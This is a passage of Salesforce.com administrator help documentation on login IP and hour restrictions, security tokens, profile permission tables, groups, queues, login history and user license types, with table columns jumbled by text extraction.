1. Salesforce.com checks whether the user's profile has login hour restrictions. If login hour restrictions are specified for the
user's profile, any login outside the specified hours is denied.
2. Salesforce.com then checks whether the user's profile has IP address restrictions. If IP address restrictions are defined for
the user's profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
3. If profile-based IP address restrictions are not set, Salesforce.com checks whether the user is logging in from an IP address
they have not used to access Salesforce.com before:
• If the user's login is from a browser that includes a Salesforce.com cookie, the login is allowed. The browser will have
the Salesforce.com cookie if the user has previously used that browser to log in to Salesforce.com, and has not cleared
the browser cookies.
• If the user's login is from an IP address in your organization's trusted IP address list, the login is allowed.
• If the user's login is from neither a trusted IP address nor a browser with a Salesforce.com cookie, the login is blocked.
Whenever a login is blocked or returns an API login fault, Salesforce.com must verify the user's identity:
• For access via the user interface, the user is prompted to click a Send Activation Link button to send an activation email
to the address specified on the user's Salesforce.com record. The email instructs the user to copy and paste an activation
link into their browser to activate their computer for logging in to Salesforce.com. The activation link included in the email
is valid for up to 24 hours from the time the user clicked the Send Activation Link button. After 24 hours, the activation
link expires, and users must repeat the activation process to log in.
Note: The first time a user logs into Salesforce.com, they do not have to activate their computer. However, the
next time a user logs in, they must activate their computer using the Send Activation Link button.
472
User Management Managing Profiles
• For access via the API or a client, the user must add their security token to the end of their password in order to log in. A
security token is an automatically-generated key from Salesforce.com. For example, if a user's password is mypassword,
and their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in.
Users can obtain their security token by changing their password or resetting their security token via the Salesforce.com
user interface. When a user changes their password or resets their security token, Salesforce.com sends a new security token
to the email address on the user's Salesforce.com record. The security token is valid until a user resets their security token,
changes their password, or has their password reset.
Tip: It is recommended that you obtain your security token via the Salesforce.com user interface from a trusted
network prior to attempting to access Salesforce.com from a new IP address.
See Also:
Restricting Login IP Ranges for Your Organization
Restricting Login Hours
Restricting Login IP Ranges on Profiles
Resetting Your Security Token
Administrator setup guide: Security Implementation Guide
473
User Management Managing Profiles
You can set the hours when users with a particular profile can use the system.
Note: If a user logs in before the restricted hours, the system ends the user’s session when the restricted hours begin.
See Also:
Restricting Login IP Ranges on Profiles
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide
You can set the IP addresses from which users with a particular profile can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
set IP addresses on profiles:
1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition:
474
User Management Administrative and General Permissions on Profiles
• If you're using Enterprise Edition, Unlimited Edition, or Developer Edition, click Setup ➤ Manage Users ➤ Profiles,
and select a profile. Then click New in the Login IP Ranges related list.
• For Professional Edition, Group Edition, and Personal Edition, click Setup ➤ Security Controls ➤ Session Settings,
and then click New in the Login IP Ranges related list.
2. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from
a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0
as both the start and end addresses.
The start and end IP addresses must include no more than 33,554,432 addresses (225). For example, the following ranges
are valid:
• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255
However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and
Visualforce pages, the mobile application initiates a secure connection to Salesforce.com over the mobile carrier's
network , but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.
3. Click Save.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile
has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only
within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static
resources to expire from the Salesforce.com cache and any intermediate caches.
See Also:
Restricting Login IP Ranges for Your Organization
Restricting Login Hours
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide
The following table shows the administrative and general permissions associated with each standard profile.
475
User Management Administrative and General Permissions on Profiles
Affected by Divisions Filter search results, list views, Filter a user’s search results, System Administrator
and reports by division. list views, and reports by
Standard User
division. With this permission
deselected, a user’s searches, Solution Manager
list views, and reports always Marketing User
show records in all divisions.
Contract Manager
Enterprise, Unlimited, and
Developer Edition
organizations can edit this user
permission on standard and
custom profiles
API Enabled Access the Web services API. Grants access to the API, System Administrator
Bulk API, and Metadata API
API Only User Access Salesforce.com only Access Salesforce.com only via None
through the Web services API the Web services API or Bulk
or Bulk API. API
Approve Contracts Approve or reject a contract Apply an approved status to a System Administrator
from a related list. contract
Contract Manager
Author Apex Create Apex classes and Can modify and deploy Apex System Administrator
triggers. classes and triggers, set
security on Apex classes, and
create email services
Background Report Export Allows users to run reports in Run reports in the System Administrator
the background, and export background, and export results
results as a CSV or Excel file as a CSV or Excel file on
on completion. completion
Bulk API Hard Delete Delete records in the Bulk Delete records without storing None
API without storing them in them in the Recycle Bin,
the Recycle Bin. making them eligible for
immediate deletion.
Convert Leads Convert leads into accounts, Convert leads into accounts, System Administrator
contacts, and opportunities. contacts, and opportunities
Standard User
Solution Manager
Marketing User
Contract Manager
476
User Management Administrative and General Permissions on Profiles
Create and Upload Change Create and upload a change Create a change set, add System Administrator
Sets set. components to it, and upload
it
Create AppExchange Create packages that can be Create AppExchange System Administrator
Packages distributed through packages
AppExchange.
Create Workspaces Create Salesforce CRM Create Salesforce CRM System Administrator
Content workspaces. Content workspaces
Customize Application Customize the organization Edit messages and custom System Administrator
using App Setup menu links;
options.
Modify standard picklist
values;
Create, edit, and delete
custom fields;
Create, edit, and delete page
layouts (also requires the
“Edit” permission for the
record, for example, “Edit” on
accounts);
Set field-level security;
Create, edit, and delete
custom links;
Edit the Lead Settings;
Activate big deal alerts;
Create record types;
Set up Web-to-Case and
email response rules;
Set up Web-to-Lead and
email response rules;
Set up assignment and
escalation rules;
477
User Management Administrative and General Permissions on Profiles
478
User Management Administrative and General Permissions on Profiles
Deliver Uploaded Files and Enables non-Content users to Non-Content users can create System Administrator
Personal Content create content deliveries, and content deliveries;
Standard User
enables Salesforce CRM
Salesforce CRM Content
Content users to create Solution Manager
users can create content
content deliveries using
deliveries using documents in Marketing User
documents in their personal
their personal workspaces
workspaces. Read Only
Salesforce CRM Content Contract Manager
users don't need this
permission to create content
deliveries in shared
workspaces.
Deploy Change Sets Deploy change sets. Deploy change sets sent from System Administrator
another organization
Download AppExchange Install or uninstall Install or uninstall System Administrator
Packages AppExchange packages as AppExchange packages from
system administrators. the AppExchange
Drag-and-Drop Dashboard Create, edit, and delete Create, edit, and delete System Administrator
Builder dashboards through the dashboards using the
drag-and-drop dashboard dashboard builder interface
builder interface.
Edit Case Comments Edit their own case comments Enables users to edit and None
but not other user's comments. delete case comments that
they have added to cases (also
requires “Edit” on cases)
Edit Events Create, edit, and delete events. Create, edit, and delete events System Administrator
Standard User
Solution Manager
Marketing User
479
User Management Administrative and General Permissions on Profiles
Edit Forecasts Create, edit, and delete Create, edit, and delete System Administrator
non-customizable forecasts. forecasts.
Standard User
This permission is not
Solution Manager
available for customizable
forecasts. When you convert Marketing User
to customizable forecasts, Contract Manager
custom profiles that have the
“Edit Forecasts” permission
get the “Edit Personal Quota”
and “Override Forecasts”
permissions.
Edit HTML Templates Create, edit, and delete Create, edit, and delete both System Administrator
HTML email templates. custom HTML templates and
Marketing User
HTML email templates using
letterheads
Edit Opportunity Product Change the sales price on Enable users to change the System Administrator
Sales Prices opportunity line items. sales price on products
Standard User
Solution Manager
Marketing User
Contract Manager
Edit Personal Quota Change their quota for Change your individual quota System Administrator
customizable forecasts. (available only for
Standard User
customizable forecasts)
Solution Manager
Marketing User
Contract Manager
Edit Read Only Fields Edit fields that are read only Edit fields marked as read only System Administrator
due to page layouts or (by field-level security or by
field-level security. the page layout) for all other
users
Edit Self-Service Users Enable and disable contacts For the Self-Service portal: System Administrator
for Self-Service and Customer enable and deactivate contacts;
Standard User
Portal access.
For the Salesforce.com
Solution Manager
Customer Portal: enable,
disable, and deactivate Marketing User
contacts; disable accounts; Contract Manager
merge Customer Portal users
480
User Management Administrative and General Permissions on Profiles
Edit Tasks Create, edit, and delete tasks. Create, edit, and delete tasks System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
Export Reports Use Export Details and Use Export Details and System Administrator
Printable View to export Printable View to export
Standard User
reports. reports
Solution Manager
Marketing User
Contract Manager
Import Leads Import leads and update Import leads and update System Administrator
campaign history. campaign history using the
Marketing User
import wizard
Import Personal Contacts Import personal accounts and Import personal accounts and System Administrator
contacts. contacts using the import
Standard User
wizard
Solution Manager
Marketing User
Contract Manager
Import Solutions Import solutions for the Import solutions for the System Administrator
organization. organization using the import
Solution Manager
wizard
IP Restrict Request Allows a user to further Restrict access to PRM portal Partner
restrict what IP addresses can
access the PRM portal.
Is Single Sign-On: Enabled Delegate username and Username and password None
password authentication to a authentication is delegated to
corporate database instead of a corporate database such as
the Salesforce.com user Active Directory® or LDAP,
database. instead of the Salesforce.com
user database. See About
Single Sign-On on page 547.
Manage Analytic Snapshots Create, edit, and delete Set up and schedule analytic System Administrator
analytic snapshots. snapshots to run (also requires
the “Schedule Dashboards”,
481
User Management Administrative and General Permissions on Profiles
Manage Billing Purchase additional licenses Add user licenses; System Administrator
and features.
Edit billing and credit card
information;
Grant Checkout access
Manage Business Hours Create, edit, and delete Create and edit business System Administrator
Holidays business holidays. hours; create, edit, and delete
holidays (also requires “View
Setup and Configuration”)
Manage Call Centers Create, import, edit, and Import, view, edit, and delete System Administrator
delete a call center a call center (also requires
configuration. “View Setup and
Configuration”)
Manage Cases Administer case settings, Set support business hours; System Administrator
including Email-to-Case and
Edit support settings;
mass transfer of cases.
Set up Email-to-Case;
Perform actions on multiple
cases in a list view, such as
mass transfer of cases
Close multiple cases
Manage Categories Define and modify solution Define and modify solution System Administrator
categories settings. categories;
Edit Solution Settings to
enable solution browsing
This permission only applies
to solution categories, not data
categories
Manage Connections Allows a user to create and Create, update, and deactivate System Administrator
update connections and Salesforce to Salesforce
482
User Management Administrative and General Permissions on Profiles
Manage Data Integrations Monitor or abort Bulk API Monitor or abort Bulk API System Administrator
jobs. jobs;
Grant access to Bulk API
monitoring pages
Manage Dynamic Dashboards Create, edit, and delete Create, edit, and delete System Administrator
dynamic dashboards. dynamic dashboards
Manage Email Client Create, edit, and delete Create, edit, and delete System Administrator
Configurations Outlook configurations for Outlook configurations for
Salesforce CRM for Outlook. Salesforce CRM for Outlook.
483
User Management Administrative and General Permissions on Profiles
Manage Leads Change the status of multiple Change Status of multiple System Administrator
leads in a list view. leads in a list view
Manage Letterheads Create, edit, and delete Create, edit, and delete System Administrator
letterheads for HTML emails. letterheads for HTML emails
Marketing User
Manage Mobile Manage Salesforce Mobile Create, edit, and delete mobile System Administrator
Configurations users and devices. configurations for Salesforce
Mobile;
Manage mobile settings
Manage Package Licenses Manage package licenses in Grant or revoke user licenses System Administrator
subscriber organizations. for an installed app in a
managed package
Manage Partners Create partner accounts and Create partner accounts and System Administrator
partner users. partner users;
Disable partner accounts and
partner users;
Merge partner users (also
requires “Delete” on contacts)
Manage Public Documents Create, edit, and delete folders Create, edit, and delete public System Administrator
for public documents. document folders
Marketing User
484
User Management Administrative and General Permissions on Profiles
Manage Public Templates Create, edit, and delete text Create, edit, and delete text System Administrator
emails, mail merge templates, email and mail merge
Marketing User
and folders for public email templates;
templates.
Edit public folders for email
templates and store email
templates in folders
Manage Published Solutions Create, edit, and delete Create, edit, and delete System Administrator
publicly accessible solutions. solutions that are accessible to
Solution Manager
the public on your Self-Service
portal or website;
Categorize solutions
Manage Remote Access Manage, create, edit and Manage, create, edit and System Administrator
delete remote access delete remote access
applications. applications that define
integrations of external
applications which access
Salesforce.com using the
OAuth protocol.
Manage Salesforce CRM Create, edit, and delete Create, edit, and delete System Administrator
Content workspaces and workspace workspaces;
memberships.
Edit workspace membership
Manage Salesforce Knowledge Manage Salesforce Knowledge Enable Salesforce Knowledge System Administrator
settings, and create, edit, and
Create, edit, and delete article
delete article types.
types
Edit settings
Manage Self-Service Portal Manage Self-Service portal Set up and maintain System Administrator
settings and reports. Self-Service settings (also
requires the “Customize
Application” permission to
modify Self-Service page
layouts and delete your
organization's Self-Closed
Case Status value);
Run Self-Service reports
485
User Management Administrative and General Permissions on Profiles
Manage Translation Manage translated labels in Add supported languages and System Administrator
the Translation Workbench. translators, see Adding and
Editing Translated Languages
and Translators;
Enter translated values for any
supported language;
Translate solution categories
Manage Users Create, edit, and deactivate Create, edit, and deactivate System Administrator
users, and manage security users;
settings, including profiles and
Define and assign user roles;
roles.
Define sharing model and
sharing rules;
View storage use;
View login history;
View training history;
Manage and assign profiles;
Assign page layouts to
profiles;
Set password policies;
Activate or deactivate
opportunity update reminders;
Set login restrictions
Mass Edits from Lists Edit multiple records Edit two or more records System Administrator
simultaneously from a list with simultaneously from a list with
Standard User
inline editing. inline editing
Solution Manager
486
User Management Administrative and General Permissions on Profiles
Mass Email Send mass emails to contacts Send bulk emails to contacts System Administrator
and leads. and leads
Standard User
Solution Manager
Marketing User
Contract Manager
Modify All Data Create, edit, and delete all Create, edit, and delete all System Administrator
organization data, regardless data;
of sharing settings.
Import accounts and contacts
for organization;
Mass update addresses (also
requires “Activate Contract”
and “Activate Order” to
update the addresses of
contracts and orders);
Mass delete data;
Undelete other users’ data;
Create and edit divisions, and
transfer divisions for multiple
records;
Create an organization-wide
email address
Override Forecasts Override personal forecasts Override your own forecast, as System Administrator
and forecasts for users who well as forecasts for users that
Standard User
report directly to them in the report directly to you in the
role hierarchy. role hierarchy (available only Solution Manager
for customizable forecasts) Marketing User
Contract Manager
Password Never Expires Prevent the user's password Prevent password from ever None
from expiring. expiring
Portal Super User Allows Customer Portal users View and edit cases for their None
to view and edit all cases for account
their account.
487
User Management Administrative and General Permissions on Profiles
Report Builder Create, edit, and delete reports Create, edit, and delete reports System Administrator
through the drag-and-drop using the report builder
Standard User
report builder interface. interface
Solution Manager
Marketing User
Contract Manager
Run Reports Run reports and dashboards. View the Reports tab; System Administrator
Run reports; Standard User
View dashboards based on Solution Manager
reports
Marketing User
Read Only
Contract Manager
Schedule Dashboards Schedule when dashboards Schedule when dashboards System Administrator
refresh, and send email refresh and send email
notifications that include notifications to users that
refreshed dashboards in include refreshed dashboards
HTML format. in HTML format
Schedule Reports Schedule reports to run and Schedule reports to run and System Administrator
have the results emailed to have the results emailed in
Salesforce.com users. HTML format to
Salesforce.com users
Send Email Send email to a single contact Send email to a single contact System Administrator
or lead. or lead;
Standard User
Send Stay-in-Touch update
Solution Manager
emails;
Marketing User
Request a meeting
Contract Manager
Send Outbound Messages Send outbound messages to Send outbound messages, such System Administrator
an external Web service API. as when you close an
Standard User
opportunity and need to send
an outbound API message to Solution Manager
488
User Management Administrative and General Permissions on Profiles
Send Stay-in-Touch Requests Send Stay-in-Touch update Send Stay-in-Touch email System Administrator
emails. requests
Standard User
Solution Manager
Marketing User
Contract Manager
Show Custom Sidebar On All Display a custom sidebar on If users have custom home None
Pages all pages in Salesforce.com. page layouts that include
components in the sidebar,
displays their custom sidebar
on all pages in Salesforce.com.
If the Show Custom
Sidebar Components on
All Pages user interface
setting is selected, the “Show
Customer Sidebar On All
Pages” permission is not
available.
Single Sign-On: Delegated Delegate username and Username and password None
Authentication password authentication to a authentication is delegated to
corporate database instead of a corporate database such as
the Salesforce.com user Active Directory® or LDAP,
database. instead of the Salesforce.com
user database. See About
Single Sign-On on page 547.
Tag Manager Manage the configuration of Rename, delete, or restore System Administrator
private and public tags. public tags (available only
when public tags are enabled)
Transfer Cases Change a case's owner. Transfer one or more cases System Administrator
that are owned by another
user, if you also have at least
the “Edit” object permission
and access to view the records
Transfer Leads Change a lead's owner. Transfer one or more leads System Administrator
that are owned by another
489
User Management Administrative and General Permissions on Profiles
Use Team Reassignment Mass reassign account team Mass reassign account team System Administrator
Wizards and opportunity team and opportunity team
members. members
View All Data View all organizational data, View all data owned by other System Administrator
regardless of sharing settings. users
View All Forecasts View any user's forecast, View any user’s forecast System Administrator
regardless of the forecast role regardless of the forecast role
hierarchy. hierarchy.
This permission is only
available for customizable
forecasts. When you convert
to customizable forecasts,
custom profiles that have the
“View All Data” permission
get the “View All Forecasts”
permissions.
View Articles View Salesforce Knowledge View Salesforce Knowledge System Administrator
articles. articles in the Articles tab or
Standard User
Articles related list.
Solution Manager
This permission provides full
access to the Articles tab. Marketing User
490
User Management Administrative and General Permissions on Profiles
View Content in Portals View Salesforce CRM Allows Customer Portal and None
Content from a portal. Partner Portal users to view
Salesforce CRM Content
View Data Categories View the Data Categories View the Setup ➤ Customize System Administrator
page. ➤ Data Categories page
This permission only applies
to data categories, not solution
categories
View Encrypted Data View the value of encrypted View the value of encrypted None
fields in plain text. fields in plain text
View Setup and Configuration View the App Setup and View the organization setup System Administrator
Administrative Settings pages. details on the Setup pages;
Standard User
Run user reports;
Solution Manager
View the setup audit trail;
Marketing User
Check field accessibility for
Read Only
users
Contract Manager
Weekly Data Export Run the weekly data export Run the weekly data export System Administrator
service. service
See Also:
Object Permissions on Profiles
Managing Profiles
Viewing and Editing Profiles
Standard Profiles
Viewing User License Types
Profiles contain administrative permissions and general user permissions, which in turn control what actions a user can take.
There are several permissions that are particularly powerful and deserve special discussion.
491
User Management Object Permissions on Profiles
Caution: Permissions expand access to data. Exercise caution when deciding to enable permissions for a profile.
Manage Users
Users with this permission can grant any other permission to themselves and other users. This permission makes a user
a super administrator.
Customize Application
This permission grants a broad range of permissions that allow a user to control all aspects of an application from creating,
editing, and deleting custom fields, to implementing workflow rules. Application developers need this permission, but
you should be aware of the range of operations this permission grants.
See Also:
Managing Profiles
Viewing and Editing Profiles
The following permissions specify the access that users have to standard and custom objects. These permissions either respect
or override the sharing model.
492
User Management Object Permissions on Profiles
Note: In Enterprise, Unlimited, and Developer Editions, when you create a custom object, its object permissions are
disabled in most profiles (all except those where “View All Data” or “Modify All Data” is enabled). You can change
these permissions in custom profiles, but not standard profiles. That is, users with standard profiles (except System
Administrator) can't access new custom objects—you must assign them custom profiles and edit the profiles. To enable
access to custom objects, do one of the following:
1. Clone the profiles of the users whose object permissions you want to change.
2. Edit the custom profiles, enabling the permissions you want.
Tip: If enhanced profile management is enabled for your organization, you can change permissions
for multiple profiles from the list view.
3. Edit the users' accounts, assigning the appropriate cloned custom profiles.
• For users with custom profiles, simply edit their profiles, enabling the permissions you want.
View All Data Managing all data in an organization; for example, Administrators of an entire organization
data cleansing, deduplication, mass deletion, mass
Modify All Data
transferring, and managing record approvals
493
User Management Object Permissions on Profiles
Note:
• “View All” and “Modify All” are not available for ideas, price books, and products.
• “View All” and “Modify All” allow for delegation of object permissions only. To delegate user administration and
custom object administration duties, define delegated administrators.
• If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile
users from creating, editing, and deleting records in the mobile application, regardless of their standard object
permissions in Salesforce.com.
See Also:
Comparing Security Models
Managing Profiles
Viewing and Editing Profiles
Administrative and General Permissions on Profiles
Standard Profiles
Viewing User License Types
Salesforce.com user security is an intersection of sharing, and administrative, general, and object permissions. In some cases,
such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as
when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting
records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide
access to records.
In profile permissions for standard and custom objects, the “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing
settings, which control access to data at the record level. The “View All” and “Modify All” permissions override sharing settings
for specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing settings for all
objects.
The following table describes the differences between the security models.
Record access levels Private, Read-Only, Read/Write, “View All” and “Modify All”
Read/Write/Transfer/Full Access
Ability to transfer Respects sharing settings, which vary by Available on all objects with “Modify All”
object
494
User Management About Groups
Group access levels determined by Roles, Roles and Subordinates, Roles and Profile
Internal Subordinates, Roles, Internal
and Portal Subordinates, Queues, Teams,
and Public Groups
Private record access Not available Available on private contacts,
opportunities, and notes and attachments
with “View All” and “Modify All”
Ability to manually share records Available to the record owner and any Available on all objects with “Modify All”
user above the record owner in the role
hierarchy
Ability to manage all case comments Not available Available with “Modify All” on cases
See Also:
Managing Profiles
About Groups
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users
in a particular role or territory plus all of the users below that role or territory in the hierarchy.
There are two types of groups:
• Public groups—Only administrators can create public groups. They can be used by everyone in the organization.
• Personal groups—Each user can create groups for their personal use.
495
User Management About Groups
See Also:
Creating and Editing Groups
Viewing All Users in a Group
Managing the Sharing Settings
Setting Your Organization-Wide Sharing Model
5. If you don't see the member you want to add, enter keywords in the search box and click Find.
6. Select members from the Available Members box, and click Add to add them to the group.
7. Click Save.
To modify a group, click Edit next to the group name in the Groups related list. Similarly, click Del next to the group you
want to delete.
496
User Management About Groups
Member Types
Depending on your organization settings, the following types of members may be available from the Search drop-down list:
Portal Roles and Subordinates All roles defined for your organization's PRM portal, partner
portal, or Customer Portal. This includes all of the users in
the specified portal role plus all of the users below that role in
the portal role hierarchy, except for High Volume Customer
Portal users because they don't have roles. Note that the name
of a portal role includes the name of the account with which
it is associated, except for person accounts, which include the
user Alias.
Public Groups All public groups defined by your administrator.
Roles All roles defined for your organization. Adding a role to a
group includes all of the users in that role, but does not include
portal roles.
Roles and Internal Subordinates Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
doesn't include portal roles or users.
Roles and Subordinates Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when no portals are enabled for your
organization.
Roles, Internal and Portal Subordinates Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when a partner or Customer Portal is enabled
for your organization. This includes portal users.
497
User Management About Groups
See Also:
About Groups
Viewing All Users in a Group
About Customer Portal User Management
Working with Partner Users
498
User Management About Groups
The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group.
From this page, you can view detailed user information, edit user information, and access related information.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a username to edit the user information.
• Click Login next to a username to log in as that user. This link is only available if the user has granted you login access.
See Also:
About Groups
Creating and Editing Groups
The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue.
From this page, you can view detailed member information and access other related information.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
• Click a name to view the member details.
See Also:
About Groups
Viewing All Users in a Group
499
User Management Managing Queues
Managing Queues
Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Create queues to help your teams manage leads, cases, and custom objects. Once records are placed in a queue either manually
or through an automatic case- or lead-assignment rule, records remain there until they are assigned to a user or taken by one
of the members of the queue. Any queue member or users above them in the role hierarchy can take ownership of records in
a queue. For example:
Lead queues
Help your organization manage the distribution of leads. For example, you might have a lead queue for your Western
Region team and one for your Eastern Region team. You can put leads in different queues, either manually or automatically
via a lead assignment rule as leads are imported, created or edited manually, or captured from the web. Each salesperson
should be a member of one or more lead queues.
Case queues
Help your organization manage your support workload and differentiate cases based on levels of support. By using queues,
you can ensure that cases are resolved quickly even if an individual user is on vacation. By creating queues for different
levels of support, for example, Gold Service Level and Silver Service Level, cases are automatically prioritized. You can
put cases in different queues, either manually or automatically via a case assignment rule as cases are generated from the
web or created manually. Each support representative should be a member of one or more case queues.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• To create a queue, click New.
500
User Management Managing Queues
See Also:
Viewing and Editing Queues
Setting Up Customer Support
Assigning Cases
Viewing Case Lists
Assigning Leads
Viewing Lead Lists
Setting Up Queues
Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
501
User Management Managing Queues
Note: If a Queue Email address is not specified, individual queue members are always notified of new records,
regardless of this checkbox setting.
6. If your organization uses divisions, select the default division for the queue. This determines the division for a record when
it is assigned to the queue via assignment rules or a manual change of ownership.
Note that cases inherit the division of the contact to which they are related, or are assigned to the default global division
if no contact is specified.
7. Specify which objects can be placed in the queue. Your choices can include cases, leads, or any custom objects.
8. Specify which users, roles, public groups, territories, connections, or partner users will be members of the queue.
Only queue members and users above them in the role hierarchy can take ownership of records in that queue, depending
on your sharing settings.
9. Click Save.
Note: When you create a queue, Salesforce.com automatically creates a corresponding list view. Users can access the
queue list view from the Cases, Leads, or custom object tabs.
Only queue members and users above them in the role hierarchy have access to that queue list view, depending on
your sharing settings.
Once you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads and
cases to the queue.
For queues that include custom objects, you can accomplish the same thing by setting up a workflow rule that reassigns
ownership of custom object records to a queue with a field update on the record owner field.
See Also:
Viewing and Editing Queues
Managing Queues
502
User Management Managing Queues
To view detailed information about a queue, click Setup ➤ Manage Users ➤ Queues, and click the queue name.
Click Edit to make changes to the queue, or click Delete to remove the queue.
Note: You cannot delete a queue if it is used by an assignment rule or has any records in it.
The Queue Members related list shows all of the members of the queue. Click View All Users to view the All Users in Queue
related list, which shows you all of the queue members plus any users who have the same access as the queue members because
they are higher in the role hierarchy. From the All Users in Queue related list, you can click View Queue Members to return
to the Queue Members related list.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
See Also:
Managing Queues
503
User Management Monitoring User Events
You can monitor user logins and trainings to determine who is using the application and how often and which users have
taken training classes from salesforce.com.
If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.
See Also:
Monitoring Logins
Monitoring Training History
Viewing Single Sign-On Login Errors
Monitoring Logins
Available in: All Editions
Administrators can monitor the successful and failed login attempts for their organization and enabled portals, as well as the
type of login, such as Application, SAML, Remote Access Client, and so on.
504
User Management Monitoring User Events
Download login history for the last six months, including logins from outside the website, such as API logins (Excel
.csv file): This downloads a CSV file of all user logins to your Salesforce.com organization for the past six months.
This report includes logins through the API.
• Download login history, including logins from the website only (Excel .csv file): This only download the user logins
that originated from the salesforce.com website.
Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large
file in Excel, see the Microsoft Help and Support article about handling large files.
To see the last ten successful and failed logins for a specific user, navigate to Setup ➤ Manage Users ➤ Users, click on the
Full Name for the user, and scroll to the Login History section.
Personal Edition
To view your personal login history:
1. Click Setup ➤ My Personal Information ➤ Personal Information.
2. Scroll down to the Login History related list to view your last ten logins.
3. To download a CSV file of your login history for the past six months, click the Download... link.
Note: For security purposes, Salesforce.com may require users to pass a user verification test to export data from their
organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's data.
To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click the
Submit button. Note that the words entered into the text box field must be separated by a space.
Salesforce.com uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated
program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for “Completely
Automated Public Turing Test To Tell Computers and Humans Apart”.
My Domain
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Setup ➤
Manage Users ➤ Login History and look at the Username and Login URL columns.
As an administrator, it is important to know that your team is learning how to use Salesforce.com effectively. The Training
Class History shows you all of the salesforce.com training classes your users have taken.
505
User Management Viewing User License Types
Administrators can view the Training Class History by choosing Setup ➤ Manage Users ➤ Training History. After taking
a live training class, users must submit the online training feedback form to have their training attendance recorded in the
training history.
If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.
Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.
See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
You may have more than one type of user license in Salesforce.com. A user license entitles a user to different functionality
within Salesforce.com and determines the profiles available to the user.
To view a list of the active user licenses your organization has purchased, click Setup ➤ Company Profile ➤ Company
Information. This page lists the following for each type of user license:
506
User Management Viewing User License Types
Additionally, you can click Buy More Licenses to go to Checkout to buy additional user licenses.
The lists below cover the functionality a user is entitled to for each type of standard user license.
Note: You may see other types of licenses listed on this page if your organization has purchased custom user licenses
for different types of functionality. Contact salesforce.com for more information.
Salesforce.com Users
Salesforce Platform Designed for users who need access to custom apps but not
to standard CRM functionality. Users with this user license
are entitled to use custom apps developed in your organization
or installed from Force.com AppExchange. In addition, they
are entitled to use core platform functionality such as accounts,
contacts, reports, dashboards, documents, and custom tabs.
However, these users are not entitled to some user permissions
and standard apps, including standard tabs and objects such
as forecasts and opportunities. Users with this license can also
use Connect Offline.
Note: Users with a Salesforce Platform user license
can only view dashboards if the Running User of
the dashboard also has a Salesforce Platform license.
They cannot edit or create new dashboards.
Salesforce Platform Light Designed for users who need access to custom apps but not
to standard CRM functionality. Users withthis user license
are entitled to the same rights as Salesforce Platform users,
except the amount of times the user can log in is limited
monthly.
507
User Management Viewing User License Types
Force.com - One App Designed for users who need access to one custom app but
not to standard CRM functionality. Force.com - One App
users are entitled to the same rights as Salesforce Platform
users, plus they have access to an unlimited number of custom
tabs. However, they are limited to the use of one custom app,
which is defined as up to 10 custom objects, and they are
limited to read-only access to the Accounts and Contacts
objects.
Note: Users with a Force.com - One App user license
cannot edit or create new dashboards and can only
view dashboards if the Running User of the dashboard
also has a Force.com - One App license.
Force.com - Free Designed for users who need access to one custom app but
not standard CRM functionality. Force.com - Free users are
entitled to the same rights as Salesforce Platform users, plus
they have access to an unlimited number of custom tabs.
However, they are limited to the use of one custom app, which
is defined as up to 10 custom objects, and they do not have
access to Accounts and Contacts objects.
Note: Users with a Force.com - Free user license
cannot edit or create new dashboards and can only
view dashboards if the Running User of the dashboard
